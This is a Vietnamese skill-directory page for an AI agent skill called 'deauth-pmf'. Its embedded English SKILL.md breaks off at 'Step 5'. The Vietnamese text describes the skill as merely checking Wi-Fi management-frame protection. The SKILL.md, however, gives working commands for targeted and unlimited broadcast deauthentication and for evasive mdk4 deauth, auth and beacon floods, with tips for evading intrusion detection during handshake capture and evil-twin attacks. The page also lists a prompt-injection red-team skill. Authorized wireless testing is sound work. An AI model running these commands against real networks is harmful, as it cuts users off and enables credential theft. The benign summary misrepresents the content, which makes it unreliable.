deauth-pmf
Skill này làm gì
Skill giải thích cách kiểm tra xem mạng Wi-Fi có dùng khung quản lý được bảo vệ hay không. Các khung này giúp chống lại việc bị ngắt kết nối cưỡng bức. Dành cho đội bảo mật rà soát mạng không dây của chính họ.
Khi nào nên dùng
- ✓Khi đội IT muốn biết Wi-Fi của mình có bảo vệ thiết bị khỏi các lần ngắt kết nối cưỡng bức không.
- ✓Khi người rà soát bảo mật cần ghi lại mức độ bảo vệ của một điểm truy cập không dây.
- ✓Khi một đội lên kế hoạch rà soát không dây và cần ghi lại thiết lập khung quản lý trước.
Liên kết skill
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/wireless/deauth-pmf/SKILL.mdSao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.
Cách dùng
Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.
Tin nhắn có sẵn để dán
Dành cho Claude Code, Codex hoặc Cursor: chạy lệnh trong thư mục dự án của bạn và skill sẽ được cài đặt.
Tải tệp SKILL.md về và thả vào thư mục skill của agent.
Ví dụ cách nhờ AI
“Wi-Fi văn phòng của chúng tôi có bảo vệ thiết bị khỏi các cuộc tấn công ngắt kết nối cưỡng bức không?”
5 skill mới mỗi tuần. Đọc chỉ 1 phút.
Cách hoạt động
Skill yêu cầu AI đọc thiết lập beacon của điểm truy cập từ một lần bắt gói ngắn, rồi phân loại mức bảo vệ là tắt, tùy chọn hoặc bắt buộc. Kết quả được ghi lại như một phát hiện.
Nội dung kỹ thuật (SKILL.md gốc)
Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.
Deauth / Disassoc + 802.11w (PMF) Posture
This is a shared-primitive skill. Most callers need it to coerce a single client reconnect (handshake capture or evil-twin roaming). The standalone deliverable is the PMF state finding:
pmf_state ∈ {disabled, optional, required}is always worth documenting as a network finding regardless of whether deauth is needed for the attack path.
Prerequisites
- Monitor-mode + injection-capable adapter on the target channel.
- Tools:
aircrack-ngsuite (aireplay-ng,airodump-ng),mdk4,tsharkoriw. - Deauth requires
permitted_actions: deauth_for_handshake_captureinplan/roe.json. Broadcast deauth / DoS requiresposture=loud.
Step 1 — PMF state detection from beacons
Read MFPC (Management Frame Protection Capable) and MFPR (Required) bits from the AP's RSN IE before issuing any deauth frames:
# Capture beacons for the target BSSID
sudo airodump-ng -c <CHANNEL> --bssid <BSSID> -w /tmp/pmf_recon \
--output-format pcap <mon-iface>
# 5–10 seconds is enough to collect multiple beacons.
# Decode RSN capabilities: MFPC + MFPR bits
tshark -r /tmp/pmf_recon-01.cap -Y "wlan.fc.type_subtype == 8" \
-T fields \
-e wlan.ssid \
-e wlan_mgt.rsn.capabilities.mfpc \
-e wlan_mgt.rsn.capabilities.mfpr \
2>/dev/null | sort -u
# Interpretation:
# MFPC=0, MFPR=0 → PMF disabled (deauth frames accepted by all clients)
# MFPC=1, MFPR=0 → PMF optional (deauth works against clients that don't support PMF)
# MFPC=1, MFPR=1 → PMF required (deauth frames are encrypted; unprotected deauth rejected)
# Alternative: iw to inspect connected interface (if you have network access)
iw dev <iface> info | grep -i pmf
# or from scan results:
iw <iface> scan | grep -A 20 "<SSID>" | grep -i "protected\|pmf\|mfp"
Decision based on PMF state:
| PMF state | Deauth viable? | Action |
|---|---|---|
disabled (MFPC=0) |
Yes — all clients accept unprotected deauth | Proceed to Step 2 |
optional (MFPC=1, MFPR=0) |
Partial — clients that didn't negotiate PMF accept deauth | Proceed; note some clients may be immune |
required (MFPC=1, MFPR=1) |
No — all deauth rejected unless encrypted | PMKID still viable; mark deauth as blocked |
Step 2 — Targeted single-client deauth (standard / stealth)
# Identify connected clients first
sudo airodump-ng -c <CHANNEL> --bssid <BSSID> <mon-iface>
# Bottom section shows STATION (client) MACs.
# Send a SINGLE targeted deauth frame (one reconnect trigger)
sudo aireplay-ng --deauth 1 \
-a <BSSID> \
-c <CLIENT_MAC> \
<mon-iface>
# Confirm the client reassociates and watch for the handshake in
# airodump's header: "WPA handshake: <BSSID>"
# Send a burst of targeted deauth (3–5 frames) if single deauth is ignored
# (e.g., client is in power-save mode or noisy RF environment)
sudo aireplay-ng --deauth 5 \
-a <BSSID> \
-c <CLIENT_MAC> \
<mon-iface>
OPSEC: Targeted deauth to a single client is visible in WIDS but low-severity. One or two frames at engagement cadence = noise. Burst deauth (>10 frames) triggers WIDS alerts on most enterprise platforms.
Step 3 — Broadcast deauth (posture=loud, DoS testing)
# Broadcast deauth to all clients on the AP (posture=loud only)
# This is a DoS action — confirm it is an accepted risk in RoE.
sudo aireplay-ng --deauth 0 \
-a <BSSID> \
<mon-iface>
# --deauth 0 = unlimited broadcast; Ctrl+C to stop.
# Broadcast disassociation variant
sudo aireplay-ng --deauth 10 \
-a <BSSID> \
<mon-iface>
RoE gate for broadcast deauth:
HARD STOP: broadcast deauth requires posture=loud AND
plan/roe.json:permitted_actions contains "broadcast_deauth" or "dos_testing"
This is a denial-of-service action — all clients lose connectivity.
Step 4 — mdk4 beacon flood / auth flood (DoS testing)
# mdk4 deauth flood (more evasive — randomizes source MACs)
sudo mdk4 <mon-iface> d \
-B <BSSID> \
-c <CHANNEL>
# mdk4 auth flood (overwhelms AP's association table)
sudo mdk4 <mon-iface> a \
-a <BSSID>
# mdk4 beacon flood (SSID pollution — interferes with scanning)
sudo mdk4 <mon-iface> b \
-n "TargetSSID-DoS" \
-c <CHANNEL>
Note: mdk4 beacon flood does not disconnect clients; it pollutes the visible network list. Auth flood + deauth flood together cause AP memory/state table exhaustion on older firmware.
Step 5 — Unprotected action-f
Câu hỏi thường gặp
Các mức bảo vệ là gì?
Skill dùng ba mức: tắt, tùy chọn và bắt buộc.
Nó có thử ngắt kết nối trên mạng không?
Các thử nghiệm ngắt kết nối chủ động do quy tắc của hợp đồng kiểm thử điều chỉnh và cần được phê duyệt rõ ràng.
Ai là đối tượng sử dụng?
Đội bảo mật rà soát mạng không dây mà họ sở hữu hoặc được ủy quyền kiểm thử.
Chi tiết
Mô tả gốc của tác giả
Targeted and broadcast 802.11 deauthentication / disassociation, 802.11w/PMF posture detection, and action-frame attack variants. Reusable by wpa2-psk (handshake), wpa3-sae (downgrade), and evil-twin (roaming coercion).
Độ phổ biến
- Sao GitHub
- 6.5k
- Vị trí xếp hạng
- #14182
- Giấy phép
- Apache-2.0
- Cập nhật
- 1/11/2026
Bình luận
- …
Thêm skill từ kho mã này
detector-overview
6.5kGiúp agent của bạn đọc code mà một công cụ quét đã đánh dấu, rồi quyết định điểm nào là lỗ hổng bảo mật thật và điểm nào là báo động giả.
exploiter-overview
6.5kGiúp agent của bạn ghép nhiều lỗ hổng bảo mật đã xác nhận thành một chuỗi kiểm thử và kiểm tra chuỗi đó có thể gây hậu quả đến đâu.
llm-redteam-overview
6.5kGiúp agent của bạn tìm đúng hướng dẫn red-team AI cho một bài kiểm thử, bao quát 15 nhóm chiến thuật từ prompt injection đến lạm dụng mô hình.
aatmf-t01-prompt-injection
6.5kGiải thích prompt injection, khi các chỉ dẫn ẩn cố ghi đè một hệ thống AI, để chuyên gia bảo mật có thể kiểm tra lỗi này.
Skill tương tự
reverse-engineer-anything
422kGiúp agent của bạn xem bên trong các app và package đã phát hành để giải thích tính năng, so sánh phiên bản hoặc hướng dẫn dựng lại bằng công cụ REA.
1password
394kGiúp agent của bạn cài đặt CLI của 1Password, đăng nhập, và đọc hoặc đưa thông tin bí mật vào mà không in giá trị ra cuộc trò chuyện.
healthcheck
394kGiúp agent của bạn rà soát bảo mật máy tính hoặc máy chủ đang chạy OpenClaw, như SSH, tường lửa, cập nhật và sao lưu, rồi đề xuất cách sửa an toàn.